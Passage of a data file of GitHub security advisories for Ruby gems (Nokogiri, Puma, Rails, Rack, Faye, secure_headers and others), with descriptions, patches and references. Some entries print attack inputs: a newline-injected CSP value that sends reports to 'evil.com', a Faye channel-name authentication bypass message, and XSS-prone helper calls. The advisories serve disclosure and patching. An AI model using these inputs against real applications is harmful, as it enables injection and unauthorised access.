See [GHSA-9849-p7jc-9rmv](https://github.com/sparklemotion/nekohtml/security/advisories/GHSA-9849-p7jc-9rmv) for more information.
Please note that this advisory only applies to the **JRuby** implementation of Nokogiri `< 1.13.4`.
## Mitigation
Upgrade to Nokogiri `>= 1.13.4`.
## Impact
### [CVE-2022-24839](https://github.com/sparklemotion/nekohtml/security/advisories/GHSA-9849-p7jc-9rmv) in nekohtml
- **Severity**: High 7.5
- **Type**: [CWE-400](https://cwe.mitre.org/data/definitions/400.html) Uncontrolled Resource Consumption
- **Description**: The fork of `org.cyberneko.html` used by Nokogiri (Rubygem) raises a `java.lang.OutOfMemoryError` exception when parsing ill-formed HTML markup.
- **See also**: [GHSA-9849-p7jc-9rmv](https://github.com/sparklemotion/nekohtml/security/advisories/GHSA-9849-p7jc-9rmv)
| null | 2022-04-11T21:46:13.507995Z | 2022-04-11T21:38:11Z | HIGH | null | {'CWE-400'} | {'https://github.com/sparklemotion/nekohtml/commit/a800fce3b079def130ed42a408ff1d09f89e773d', 'https://github.com/sparklemotion/nekohtml/security/advisories/GHSA-9849-p7jc-9rmv', 'https://nvd.nist.gov/vuln/detail/CVE-2022-24839', 'https://groups.google.com/g/ruby-security-ann/c/vX7qSjsvWis/m/TJWN4oOKBwAJ?utm_medium=email&utm_source=footer', 'https://github.com/sparklemotion/nokogiri/releases/tag/v1.13.4', 'https://github.com/sparklemotion/nokogiri/security/advisories/GHSA-gx8x-g87m-h5q6', 'https://github.com/sparklemotion/nokogiri'} | null | {'https://github.com/sparklemotion/nekohtml/commit/a800fce3b079def130ed42a408ff1d09f89e773d'} | {'https://github.com/sparklemotion/nekohtml/commit/a800fce3b079def130ed42a408ff1d09f89e773d'} |
RubyGems | GHSA-rmj8-8hhh-gv5h | Information Exposure when using Puma with Rails | ### Impact
Prior to `puma` version `5.6.2`, `puma` may not always call `close` on the response body. Rails, prior to version `7.0.2.2`, depended on the response body being closed in order for its `CurrentAttributes` implementation to work correctly.
From Rails:
> Under certain circumstances response bodies will not be closed, for example a bug in a webserver[1] or a bug in a Rack middleware. In the event a response is not notified of a close, ActionDispatch::Executor will not know to reset thread local state for the next request. This can lead to data being leaked to subsequent requests, especially when interacting with ActiveSupport::CurrentAttributes.
The combination of these two behaviors (Puma not closing the body + Rails' Executor implementation) causes information leakage.
### Patches
This problem is fixed in Puma versions 5.6.2 and 4.3.11.
This problem is fixed in Rails versions 7.02.2, 6.1.4.6, 6.0.4.6, and 5.2.6.2.
See:
https://github.com/advisories/GHSA-wh98-p28r-vrc9
for details about the rails vulnerability
Upgrading to a patched Rails _or_ Puma version fixes the vulnerability.
### Workarounds
Upgrade to Rails versions 7.02.2, 6.1.4.6, 6.0.4.6, and 5.2.6.2.
The [Rails CVE](https://groups.google.com/g/ruby-security-ann/c/FkTM-_7zSNA/m/K2RiMJBlBAAJ?utm_medium=email&utm_source=footer&pli=1) includes a middleware that can be used instead.
### References
* Rails CVE: [CVE-2022-23633](https://groups.google.com/g/ruby-security-ann/c/FkTM-_7zSNA/m/K2RiMJBlBAAJ?utm_medium=email&utm_source=footer&pli=1)
### For more information
If you have any questions or comments about this advisory:
* Open an issue in [puma](https://github.com/puma/puma)
* See our [security policy](https://github.com/puma/puma/security/policy) | {'CVE-2022-23634'} | 2022-03-03T05:14:18.447089Z | 2022-02-11T21:33:23Z | HIGH | null | {'CWE-200'} | {'https://nvd.nist.gov/vuln/detail/CVE-2022-23634', 'https://github.com/puma/puma', 'https://github.com/puma/puma/security/advisories/GHSA-rmj8-8hhh-gv5h', 'https://github.com/advisories/GHSA-rmj8-8hhh-gv5h', 'https://github.com/advisories/GHSA-wh98-p28r-vrc9', 'https://github.com/puma/puma/commit/b70f451fe8abc0cff192c065d549778452e155bb', 'https://groups.google.com/g/ruby-security-ann/c/FkTM-_7zSNA/m/K2RiMJBlBAAJ?utm_medium=email&utm_source=footer&pli=1'} | null | {'https://github.com/puma/puma/commit/b70f451fe8abc0cff192c065d549778452e155bb'} | {'https://github.com/puma/puma/commit/b70f451fe8abc0cff192c065d549778452e155bb'} |
RubyGems | GHSA-c9c5-9fpr-m882 | Moderate severity vulnerability that affects sentry-raven | The numtok function in lib/raven/okjson.rb in the raven-ruby gem before 0.12.2 for Ruby allows remote attackers to cause a denial of service via a large exponent value in a scientific number. | {'CVE-2014-9490'} | 2022-03-03T05:13:09.656620Z | 2017-10-24T18:33:36Z | MODERATE | null | null | {'http://seclists.org/oss-sec/2015/q1/26', 'https://nvd.nist.gov/vuln/detail/CVE-2014-9490', 'https://exchange.xforce.ibmcloud.com/vulnerabilities/99687', 'https://github.com/getsentry/raven-ruby/commit/477ee93a3f735be33bc1e726820654cdf6e22d8f', 'https://github.com/advisories/GHSA-c9c5-9fpr-m882', 'https://groups.google.com/forum/#!topic/getsentry/Cz5bih0ZY1U', 'https://github.com/getsentry/raven-ruby'} | null | {'https://github.com/getsentry/raven-ruby/commit/477ee93a3f735be33bc1e726820654cdf6e22d8f'} | {'https://github.com/getsentry/raven-ruby/commit/477ee93a3f735be33bc1e726820654cdf6e22d8f'} |
RubyGems | GHSA-cfjv-5498-mph5 | XSS in Action View | There is a potential Cross-Site Scripting (XSS) vulnerability in Action View's translation helpers. Views that allow the user to control the default (not found) value of the `t` and `translate` helpers could be susceptible to XSS attacks.
### Impact
When an HTML-unsafe string is passed as the default for a missing translation key [named `html` or ending in `_html`](https://guides.rubyonrails.org/i18n.html#using-safe-html-translations), the default string is incorrectly marked as HTML-safe and not escaped. Vulnerable code may look like the following examples:
```erb
<%# The welcome_html translation is not defined for the current locale: %>
<%= t("welcome_html", default: untrusted_user_controlled_string) %>
<%# Neither the title.html translation nor the missing.html translation is defined for the current locale: %>
<%= t("title.html", default: [:"missing.html", untrusted_user_controlled_string]) %>
```
### Patches
Patched Rails versions, 6.0.3.3 and 5.2.4.4, are available from the normal locations.
The patches have also been applied to the `master`, `6-0-stable`, and `5-2-stable` branches on GitHub. If you track any of these branches, you should update to the latest.
To aid users who aren’t able to upgrade immediately, we’ve provided patches for the two supported release series. They are in git-am format and consist of a single changeset.
* [5-2-translate-helper-xss.patch](https://gist.github.com/georgeclaghorn/a466e103922ee81f24c32c9034089442#file-5-2-translate-helper-xss-patch) — patch for the 5.2 release series
* [6-0-translate-helper-xss.patch](https://gist.github.com/georgeclaghorn/a466e103922ee81f24c32c9034089442#file-6-0-translate-helper-xss-patch) — patch for the 6.0 release series
Please note that only the 5.2 and 6.0 release series are currently supported. Users of earlier, unsupported releases are advised to update as soon as possible, as we cannot provide security fixes for unsupported releases.
### Workarounds
Impacted users who can’t upgrade to a patched Rails version can avoid this issue by manually escaping default translations with the `html_escape` helper (aliased as `h`):
```erb
<%= t("welcome_html", default: h(untrusted_user_controlled_string)) %>
``` | {'CVE-2020-15169'} | 2022-03-03T05:13:09.709282Z | 2020-09-11T15:19:57Z | MODERATE | null | {'CWE-79'} | {'https://github.com/rails/rails', 'https://www.debian.org/security/2020/dsa-4766', 'https://github.com/rails/rails/commit/e663f084460ea56c55c3dc76f78c7caeddeeb02e', 'https://lists.debian.org/debian-lts-announce/2020/10/msg00015.html', 'https://nvd.nist.gov/vuln/detail/CVE-2020-15169', 'https://github.com/rails/rails/security/advisories/GHSA-cfjv-5498-mph5', 'https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/XJ7NUWXAEVRQCROIIBV4C6WXO6IR3KSB/'} | null | {'https://github.com/rails/rails/commit/e663f084460ea56c55c3dc76f78c7caeddeeb02e'} | {'https://github.com/rails/rails/commit/e663f084460ea56c55c3dc76f78c7caeddeeb02e'} |
RubyGems | GHSA-hrqr-hxpp-chr3 | Possible Information Leak / Session Hijack Vulnerability in Rack | There's a possible information leak / session hijack vulnerability in Rack. Attackers may be able to find and hijack sessions by using timing attacks targeting the session id. Session ids are usually stored and indexed in a database that uses some kind of scheme for speeding up lookups of that session id. By carefully measuring the amount of time it takes to look up a session, an attacker may be able to find a valid session id and hijack the session.
The session id itself may be generated randomly, but the way the session is indexed by the backing store does not use a secure comparison.
### Impact
The session id stored in a cookie is the same id that is used when querying the backing session storage engine. Most storage mechanisms (for example a database) use some sort of indexing in order to speed up the lookup of that id. By carefully timing requests and session lookup failures, an attacker may be able to perform a timing attack to determine an existing session id and hijack that session.
## Releases
The 1.6.12 and 2.0.8 releases are available at the normal locations.
### Workarounds
There are no known workarounds.
### Patches
To aid users who aren't able to upgrade immediately we have provided patches for
the two supported release series. They are in git-am format and consist of a
single changeset.
* 1-6-session-timing-attack.patch - Patch for 1.6 series
* 2-0-session-timing-attack.patch - Patch for 2.6 series
### Credits
Thanks Will Leinweber for reporting this! | {'CVE-2019-16782'} | 2022-03-03T05:13:31.216463Z | 2019-12-18T19:01:31Z | MODERATE | null | {'CWE-208', 'CWE-203'} | {'http://www.openwall.com/lists/oss-security/2019/12/18/3', 'https://nvd.nist.gov/vuln/detail/CVE-2019-16782', 'https://github.com/rack/rack', 'http://www.openwall.com/lists/oss-security/2019/12/19/3', 'http://www.openwall.com/lists/oss-security/2020/04/09/2', 'http://www.openwall.com/lists/oss-security/2020/04/08/1', 'http://www.openwall.com/lists/oss-security/2019/12/18/2', 'https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/HZXMWILCICQLA2BYSP6I2CRMUG53YBLX/', 'https://github.com/rack/rack/security/advisories/GHSA-hrqr-hxpp-chr3', 'https://github.com/rack/rack/commit/7fecaee81f59926b6e1913511c90650e76673b38', 'http://lists.opensuse.org/opensuse-security-announce/2020-02/msg00016.html'} | null | {'https://github.com/rack/rack/commit/7fecaee81f59926b6e1913511c90650e76673b38'} | {'https://github.com/rack/rack/commit/7fecaee81f59926b6e1913511c90650e76673b38'} |
RubyGems | GHSA-2rr5-8q37-2w7h | Improper Restriction of XML External Entity Reference (XXE) in Nokogiri on JRuby | ### Severity
The Nokogiri maintainers have evaluated this as [**High Severity** 7.5 (CVSS3.0)](https://www.first.org/cvss/calculator/3.0#CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N/E:H/RL:O/RC:C/MAV:N/MAC:L) for JRuby users. (This security advisory does not apply to CRuby users.)
### Impact
In Nokogiri v1.12.4 and earlier, **on JRuby only**, the SAX parser resolves external entities by default.
Users of Nokogiri on JRuby who parse untrusted documents using any of these classes are affected:
- Nokogiri::XML::SAX::Parser
- Nokogiri::HTML4::SAX::Parser or its alias Nokogiri::HTML::SAX::Parser
- Nokogiri::XML::SAX::PushParser
- Nokogiri::HTML4::SAX::PushParser or its alias Nokogiri::HTML::SAX::PushParser
### Mitigation
JRuby users should upgrade to Nokogiri v1.12.5 or later. There are no workarounds available for v1.12.4 or earlier.
CRuby users are not affected. | {'CVE-2021-41098'} | 2022-03-03T05:13:14.323333Z | 2021-09-27T20:12:47Z | HIGH | null | {'CWE-611'} | {'https://github.com/sparklemotion/nokogiri/commit/5bf729ff3cc84709ee3c3248c981584088bf9f6d', 'https://github.com/sparklemotion/nokogiri/security/advisories/GHSA-2rr5-8q37-2w7h', 'https://nvd.nist.gov/vuln/detail/CVE-2021-41098', 'https://github.com/sparklemotion/nokogiri'} | null | {'https://github.com/sparklemotion/nokogiri/commit/5bf729ff3cc84709ee3c3248c981584088bf9f6d'} | {'https://github.com/sparklemotion/nokogiri/commit/5bf729ff3cc84709ee3c3248c981584088bf9f6d'} |
RubyGems | GHSA-qw8w-2xcp-xg59 | Low severity vulnerability that affects passenger | Phusion Passenger 4.0.37 allows local users to write to certain files and directories via a symlink attack on (1) control_process.pid or a (2) generation-* file. NOTE: this vulnerability exists because of an incomplete fix for CVE-2014-1831. | {'CVE-2014-1832'} | 2021-09-16T21:10:02Z | 2018-10-10T17:29:27Z | LOW | null | null | {'http://openwall.com/lists/oss-security/2014/01/29/6', 'https://github.com/advisories/GHSA-qw8w-2xcp-xg59', 'https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=736958', 'https://github.com/phusion/passenger', 'https://bugzilla.redhat.com/show_bug.cgi?id=1058992', 'https://nvd.nist.gov/vuln/detail/CVE-2014-1832', 'http://openwall.com/lists/oss-security/2014/01/30/3', 'http://lists.fedoraproject.org/pipermail/package-announce/2015-February/149032.html', 'https://github.com/phusion/passenger/commit/94428057c602da3d6d34ef75c78091066ecac5c0'} | null | {'https://github.com/phusion/passenger/commit/94428057c602da3d6d34ef75c78091066ecac5c0'} | {'https://github.com/phusion/passenger/commit/94428057c602da3d6d34ef75c78091066ecac5c0'} |
RubyGems | GHSA-w978-rmpf-qmwg | Limited header injection when using dynamic overrides with user input in RubyGems secure_headers | ### Impact
If user-supplied input was passed into append/override_content_security_policy_directives, a newline could be injected leading to limited header injection.
Upon seeing a newline in the header, rails will silently create a new `Content-Security-Policy` header with the remaining value of the original string. It will continue to create new headers for each newline.
e.g.
```ruby
override_content_security_directives(script_src: ['mycdn.com', "\ninjected\n"])`
```
would result in
```
Content-Security-Policy: ... script-src: mycdn.com
Content-Security-Policy: injected
Content-Security-Policy: rest-of-the-header
```
CSP supports multiple headers and all policies must be satisfied for execution to occur, but a malicious value that reports the current page is fairly trivial:
```ruby
override_content_security_directives(script_src: ["mycdn.com", "\ndefault-src 'none'; report-uri evil.com"])
```
```
Content-Security-Policy: ... script-src: mycdn.com
Content-Security-Policy: default-src 'none'; report-uri evil.com
Content-Security-Policy: rest-of-the-header
```
### Patches
This has been fixed in 6.3.0, 5.2.0, and 3.9.0
### Workarounds
```ruby
override_content_security_policy_directives(:frame_src, [user_input.gsub("\n", " ")])
```
### References
https://github.com/twitter/secure_headers/security/advisories/GHSA-xq52-rv6w-397c
[The effect of multiple policies](https://www.w3.org/TR/CSP3/#multiple-policies)
### For more information
If you have any questions or comments about this advisory:
* Open an issue in [this repo](https://github.com/twitter/secure_headers/security/advisories/new)
* DM us at @ndm on twitter | {'CVE-2020-5216'} | 2022-03-03T05:13:23.477762Z | 2020-01-23T02:27:53Z | MODERATE | null | {'CWE-113'} | {'https://nvd.nist.gov/vuln/detail/CVE-2020-5216', 'https://github.com/twitter/secure_headers/security/advisories/GHSA-w978-rmpf-qmwg', 'https://github.com/twitter/secure_headers/commit/301695706f6a70517c2a90c6ef9b32178440a2d0'} | null | {'https://github.com/twitter/secure_headers/commit/301695706f6a70517c2a90c6ef9b32178440a2d0'} | {'https://github.com/twitter/secure_headers/commit/301695706f6a70517c2a90c6ef9b32178440a2d0'} |
RubyGems | GHSA-j7vx-8mqj-cqp9 | Exposure of Sensitive Information to an Unauthorized Actor in Doorkeeper | ### Impact
Information disclosure vulnerability. Allows an attacker to see all `Doorkeeper::Application` model attribute values (including secrets) using authorized applications controller if it's enabled (GET /oauth/authorized_applications.json).
### Patches
These versions have the fix:
* 5.0.3
* 5.1.1
* 5.2.5
* 5.3.2
### Workarounds
Patch `Doorkeeper::Application` model `#as_json(options = {})` method and define only those attributes you want to expose.
Additional recommended hardening is to enable application secrets hashing ([guide](https://doorkeeper.gitbook.io/guides/security/token-and-application-secrets)), available since Doorkeeper 5.1. This would render the exposed secret useless.
### References
- Commit with fix: https://github.com/doorkeeper-gem/doorkeeper/commit/25d038022c2fcad45af5b73f9d003cf38ff491f6
- https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-10187 | {'CVE-2020-10187'} | 2022-03-03T05:13:28.486543Z | 2020-05-07T21:11:07Z | HIGH | null | {'CWE-862'} | {'https://nvd.nist.gov/vuln/detail/CVE-2020-10187', 'https://github.com/doorkeeper-gem/doorkeeper/commit/25d038022c2fcad45af5b73f9d003cf38ff491f6', 'https://github.com/doorkeeper-gem/doorkeeper/security/advisories/GHSA-j7vx-8mqj-cqp9', 'https://github.com/doorkeeper-gem/doorkeeper/releases', 'https://github.com/rubysec/ruby-advisory-db/pull/446'} | null | {'https://github.com/doorkeeper-gem/doorkeeper/commit/25d038022c2fcad45af5b73f9d003cf38ff491f6'} | {'https://github.com/doorkeeper-gem/doorkeeper/commit/25d038022c2fcad45af5b73f9d003cf38ff491f6'} |
RubyGems | GHSA-ch3h-j2vf-95pv | XSS Vulnerability in Action View tag helpers | There is a possible XSS vulnerability in Action View tag helpers. Passing
untrusted input as hash keys can lead to a possible XSS vulnerability. This
vulnerability has been assigned the CVE identifier CVE-2022-27777.
Versions Affected: ALL
Not affected: NONE
Fixed Versions: 7.0.2.4, 6.1.5.1, 6.0.4.8, 5.2.7.1
## Impact
If untrusted data is passed as the hash key for tag attributes, there is a
possibility that the untrusted data may not be properly escaped which can
lead to an XSS vulnerability.
Impacted code will look something like this:
```
check_box_tag('thename', 'thevalue', false, aria: { malicious_input => 'thevalueofaria' })
```
Where the "malicious_input" variable contains untrusted data.
All users running an affected release should either upgrade or use one of the
workarounds immediately.
## Releases
The FIXED releases are available at the normal locations.
## Workarounds
Escape the untrusted data before using it as a key for tag helper methods.
| {'CVE-2022-27777'} | 2022-04-27T23:16:59.052518Z | 2022-04-27T22:32:49Z | HIGH | null | {'CWE-79'} | {'https://groups.google.com/g/ruby-security-ann/c/9wJPEDv-iRw', 'https://github.com/rails/rails', 'https://rubyonrails.org/2022/4/26/Rails-7-0-2-4-6-1-5-1-6-0-4-8-and-5-2-7-1-have-been-released', 'https://github.com/rails/rails/commit/649516ce0feb699ae06a8c5e81df75d460cc9a85', 'https://nvd.nist.gov/vuln/detail/CVE-2022-27777', 'https://github.com/rubysec/ruby-advisory-db/blob/master/gems/actionview/CVE-2022-27777.yml'} | null | {'https://github.com/rails/rails/commit/649516ce0feb699ae06a8c5e81df75d460cc9a85'} | {'https://github.com/rails/rails/commit/649516ce0feb699ae06a8c5e81df75d460cc9a85'} |
RubyGems | GHSA-cvw2-xj8r-mjf7 | Activerecord-session_store Timing Attack | The `activerecord-session_store` (aka Active Record Session Store) component through 1.1.3 for Ruby on Rails does not use a constant-time approach when delivering information about whether a guessed session ID is valid. Consequently, remote attackers can leverage timing discrepancies to achieve a correct guess in a relatively short amount of time. This is a related issue to CVE-2019-16782.
## Recommendation
This has been fixed in version 2.0.0. All users are advised to update to this version or later. | {'CVE-2019-25025'} | 2022-03-03T05:12:44.882098Z | 2021-03-09T00:45:31Z | MODERATE | null | {'CWE-208'} | {'https://rubygems.org/gems/activerecord-session_store', 'https://github.com/rails/activerecord-session_store/releases/tag/v2.0.0', 'https://github.com/rubysec/ruby-advisory-db/blob/master/activerecord-session_store/CVE-2019-25025.yml', 'https://github.com/rails/activerecord-session_store/commit/9d4dd113d3010b82daaadf0b0ee6b9fb2afb2160', 'https://nvd.nist.gov/vuln/detail/CVE-2019-25025', 'https://github.com/rails/activerecord-session_store/pull/151'} | null | {'https://github.com/rails/activerecord-session_store/commit/9d4dd113d3010b82daaadf0b0ee6b9fb2afb2160'} | {'https://github.com/rails/activerecord-session_store/commit/9d4dd113d3010b82daaadf0b0ee6b9fb2afb2160'} |
RubyGems | GHSA-pxqr-8v54-m2hj | Moderate severity vulnerability that affects rails_admin | rails_admin ruby gem <v1.1.1 is vulnerable to cross-site request forgery (CSRF) attacks. Non-GET methods were not validating CSRF tokens and, as a result, an attacker could hypothetically gain access to the application administrative endpoints exposed by the gem. | {'CVE-2016-10522'} | 2022-03-03T05:12:51.420754Z | 2018-08-08T22:30:35Z | MODERATE | null | {'CWE-352'} | {'https://github.com/sferik/rails_admin/commit/b13e879eb93b661204e9fb5e55f7afa4f397537a', 'https://www.sourceclear.com/registry/security/cross-site-request-forgery-csrf-/ruby/sid-3173', 'https://nvd.nist.gov/vuln/detail/CVE-2016-10522', 'https://www.sourceclear.com/blog/Rails_admin-Vulnerability-Disclosure/', 'https://github.com/advisories/GHSA-pxqr-8v54-m2hj'} | null | {'https://github.com/sferik/rails_admin/commit/b13e879eb93b661204e9fb5e55f7afa4f397537a'} | {'https://github.com/sferik/rails_admin/commit/b13e879eb93b661204e9fb5e55f7afa4f397537a'} |
RubyGems | GHSA-gj4p-3wh3-2rmf | High severity vulnerability that affects yard | lib/yard/core_ext/file.rb in the server in YARD before 0.9.11 does not block relative paths with an initial ../ sequence, which allows attackers to conduct directory traversal attacks and read arbitrary files. | {'CVE-2017-17042'} | 2022-03-03T05:13:44.937947Z | 2017-12-21T00:47:25Z | HIGH | null | {'CWE-22'} | {'https://github.com/advisories/GHSA-gj4p-3wh3-2rmf', 'https://nvd.nist.gov/vuln/detail/CVE-2017-17042', 'https://github.com/lsegal/yard/commit/b0217b3e30dc53d057b1682506333335975e62b4', 'https://github.com/lsegal/yard'} | null | {'https://github.com/lsegal/yard/commit/b0217b3e30dc53d057b1682506333335975e62b4'} | {'https://github.com/lsegal/yard/commit/b0217b3e30dc53d057b1682506333335975e62b4'} |
RubyGems | GHSA-h99w-9q5r-gjq9 | HTTP Request Smuggling in puma | When using Puma behind a proxy that does not properly validate that the incoming HTTP request matches the RFC7230 standard, Puma and the frontend proxy may disagree on where a request starts and ends. This would allow requests to be smuggled via the front-end proxy to Puma.
The following vulnerabilities are addressed by this advisory:
- Lenient parsing of `Transfer-Encoding` headers, when unsupported encodings should be rejected and the final encoding must be `chunked`.
- Lenient parsing of malformed `Content-Length` headers and chunk sizes, when only digits and hex digits should be allowed.
- Lenient parsing of duplicate `Content-Length` headers, when they should be rejected.
- Lenient parsing of the ending of chunked segments, when they should end with `\r\n`.
The vulnerability has been fixed in 5.6.4 and 4.3.12. When deploying a proxy in front of Puma, turning on any and all functionality to make sure that the request matches the RFC7230 standard.
These proxy servers are known to have "good" behavior re: this standard and upgrading Puma may not be necessary. Users are encouraged to validate for themselves.
- Nginx (latest)
- Apache (latest)
- Haproxy 2.5+
- Caddy (latest)
- Traefik (latest) | {'CVE-2022-24790'} | 2022-04-12T16:46:52.055525Z | 2022-03-30T21:48:50Z | CRITICAL | null | {'CWE-444'} | {'https://github.com/puma/puma/security/advisories/GHSA-h99w-9q5r-gjq9', 'https://github.com/puma/puma/commit/5bb7d202e24dec00a898dca4aa11db391d7787a5', 'https://github.com/puma/puma', 'https://nvd.nist.gov/vuln/detail/CVE-2022-24790', 'https://portswigger.net/web-security/request-smuggling'} | null | {'https://github.com/puma/puma/commit/5bb7d202e24dec00a898dca4aa11db391d7787a5'} | {'https://github.com/puma/puma/commit/5bb7d202e24dec00a898dca4aa11db391d7787a5'} |
RubyGems | GHSA-r5jw-62xg-j433 | Cross-Site Scripting in Kaminari | ### Impact
In Kaminari before 1.2.1, there is a vulnerability that would allow an attacker to inject arbitrary code into pages with pagination links. This has been fixed in 1.2.1.
### Releases
The 1.2.1 gem including the patch has already been released.
All past released versions are affected by this vulnerability.
### Workarounds
Application developers who can't update the gem can workaround by overriding the `PARAM_KEY_EXCEPT_LIST` constant.
```ruby
module Kaminari::Helpers
PARAM_KEY_EXCEPT_LIST = [:authenticity_token, :commit, :utf8, :_method, :script_name, :original_script_name].freeze
end
```
### Credits
Thanks to Daniel Mircea for finding the issue and sending a patch via GitHub. Also thanks to Aditya Prakash for reporting the vulnerability. | {'CVE-2020-11082'} | 2022-03-03T05:13:55.329992Z | 2020-05-28T21:10:11Z | MODERATE | null | {'CWE-79'} | {'https://nvd.nist.gov/vuln/detail/CVE-2020-11082', 'https://github.com/github/advisory-review/pull/1020', 'https://github.com/kaminari/kaminari', 'https://github.com/kaminari/kaminari/security/advisories/GHSA-r5jw-62xg-j433', 'https://www.debian.org/security/2021/dsa-5005', 'https://github.com/kaminari/kaminari/commit/8dd52a1aed3d2fa2835d836de23fc0d8c4ff5db8', 'https://lists.debian.org/debian-lts-announce/2021/09/msg00011.html'} | null | {'https://github.com/kaminari/kaminari/commit/8dd52a1aed3d2fa2835d836de23fc0d8c4ff5db8'} | {'https://github.com/kaminari/kaminari/commit/8dd52a1aed3d2fa2835d836de23fc0d8c4ff5db8'} |
RubyGems | GHSA-9p3v-wf2w-v29c | Moderate severity vulnerability that affects rails | Cross-site scripting (XSS) vulnerability in the strip_tags function in Ruby on Rails before 2.2.s, and 2.3.x before 2.3.5, allows remote attackers to inject arbitrary web script or HTML via vectors involving non-printing ASCII characters, related to HTML::Tokenizer and actionpack/lib/action_controller/vendor/html-scanner/html/node.rb. | {'CVE-2009-4214'} | 2022-03-03T05:12:56.447107Z | 2017-10-24T18:33:38Z | MODERATE | null | {'CWE-79'} | {'http://github.com/rails/rails/commit/bfe032858077bb2946abe25e95e485ba6da86bd5', 'https://nvd.nist.gov/vuln/detail/CVE-2009-4214', 'http://www.openwall.com/lists/oss-security/2009/12/08/3', 'http://www.debian.org/security/2011/dsa-2301', 'http://www.debian.org/security/2011/dsa-2260', 'http://secunia.com/advisories/38915', 'http://www.openwall.com/lists/oss-security/2009/11/27/2', 'http://groups.google.com/group/rubyonrails-security/browse_thread/thread/4d4f71f2aef4c0ab?pli=1', 'http://www.securityfocus.com/bid/37142', 'http://lists.opensuse.org/opensuse-security-announce/2010-03/msg00004.html', 'http://secunia.com/advisories/37446', 'http://support.apple.com/kb/HT4077', 'http://www.securitytracker.com/id?1023245', 'http://lists.apple.com/archives/security-announce/2010//Mar/msg00001.html', 'http://www.vupen.com/english/advisories/2009/3352', 'http://github.com/rails/rails', 'https://github.com/advisories/GHSA-9p3v-wf2w-v29c', 'http://weblog.rubyonrails.org/2009/11/30/ruby-on-rails-2-3-5-released'} | null | {'http://github.com/rails/rails/commit/bfe032858077bb2946abe25e95e485ba6da86bd5'} | {'http://github.com/rails/rails/commit/bfe032858077bb2946abe25e95e485ba6da86bd5'} |
RubyGems | GHSA-9pr6-grf4-x2fr | Omniauth allows POST parameters to be stored in session | In strategy.rb in OmniAuth before 1.3.2, the authenticity_token value is improperly protected because POST (in addition to GET) parameters are stored in the session and become available in the environment of the callback phase. | {'CVE-2017-18076'} | 2022-04-25T22:31:54.505893Z | 2018-01-29T15:45:28Z | HIGH | null | null | {'https://bugs.debian.org/888523', 'https://github.com/omniauth/omniauth/pull/867', 'https://github.com/omniauth/omniauth', 'https://nvd.nist.gov/vuln/detail/CVE-2017-18076', 'https://github.com/omniauth/omniauth/pull/867/commits/71866c5264122e196847a3980c43051446a03e9b', 'https://www.debian.org/security/2018/dsa-4109', 'https://github.com/advisories/GHSA-9pr6-grf4-x2fr'} | null | {'https://github.com/omniauth/omniauth/pull/867/commits/71866c5264122e196847a3980c43051446a03e9b'} | {'https://github.com/omniauth/omniauth/pull/867/commits/71866c5264122e196847a3980c43051446a03e9b'} |
RubyGems | GHSA-qpg4-4w7w-2mq5 | Authentication and extension bypass in Faye | On 20 April 2020 it was reported to me that the potential for authentication
bypass exists in [Faye][1]'s extension system. This vulnerability has existed in
the Node.js and Ruby versions of the server since version 0.5.0, when extensions
were first introduced, in July 2010. It is patched in versions 1.0.4, 1.1.3 and
1.2.5, which we are releasing today.
The vulnerability allows any client to bypass checks put in place by server-side
extensions, by appending extra segments to the message channel. For example, the
Faye [extension docs][2] suggest that users implement access control for
subscriptions by checking incoming messages for the `/meta/subscribe` channel,
for example:
```js
server.addExtension({
incoming: function(message, callback) {
if (message.channel === '/meta/subscribe') {
if (message.ext.authToken !== 'my super secret password') {
message.error = 'Invalid auth token';
}
}
callback(message);
}
});
```
A bug in the server's code for recognising the special `/meta/*` channels, which
trigger connection and subscription events, means that a client can bypass this
check by sending a message to `/meta/subscribe/x` rather than `/meta/subscribe`:
```json
{
"channel": "/meta/subscribe/x",
"clientId": "3jrc6602npj4gyp6bn5ap2wqzjtb2q3",
"subscription": "/foo"
}
```
This message will not be checked by the above extension, as it checks the
message's channel is exactly equal to `/meta/subscribe`. But it will still be
processed as a subscription request by the server, so the client becomes
subscribed to the channel `/foo` without supplying the necessary credentials.
The vulnerability is caused by the way the Faye server recognises meta channels.
It will treat a message to any channel that's a prefix-match for one of the
special channels `/meta/handshake`, `/meta/connect`, `/meta/subscribe`,
`/meta/unsubscribe` or `/meta/disconnect`, as though it were an exact match for
that channel. So, a message to `/meta/subscribe/x` is still processed as a
subscription request, for example.
An authentication bypass for subscription requests is the most serious effect of
this but all other meta channels are susceptible to similar manipulation.
This parsing bug in the server is fixed in versions 1.0.4, 1.1.3 and 1.2.5.
These should be drop-in replacements for prior versions and you should upgrade
immediately if you are running any prior version.
If you are unable to install one of these versions, you can make your extensions
catch all messages the server would process by checking the channel _begins_
with the expected channel name, for example:
```js
server.addExtension({
incoming: function(message, callback) {
if (message.channel.startsWith('/meta/subscribe')) {
// authentication logic
}
callback(message);
}
});
```
[1]: https://faye.jcoglan.com/
[2]: https://faye.jcoglan.com/node/extensions.html | {'CVE-2020-11020'} | 2022-03-03T05:13:00.204591Z | 2020-04-29T17:41:15Z | HIGH | null | {'CWE-287'} | {'https://nvd.nist.gov/vuln/detail/CVE-2020-11020', 'https://github.com/faye/faye/commit/65d297d341b607f3cb0b5fa6021a625a991cc30e', 'https://github.com/faye/faye/security/advisories/GHSA-qpg4-4w7w-2mq5'} | null | {'https://github.com/faye/faye/commit/65d297d341b607f3cb0b5fa6021a625a991cc30e'} | {'https://github.com/faye/faye/commit/65d297d341b607f3cb0b5fa6021a625a991cc30e'} |
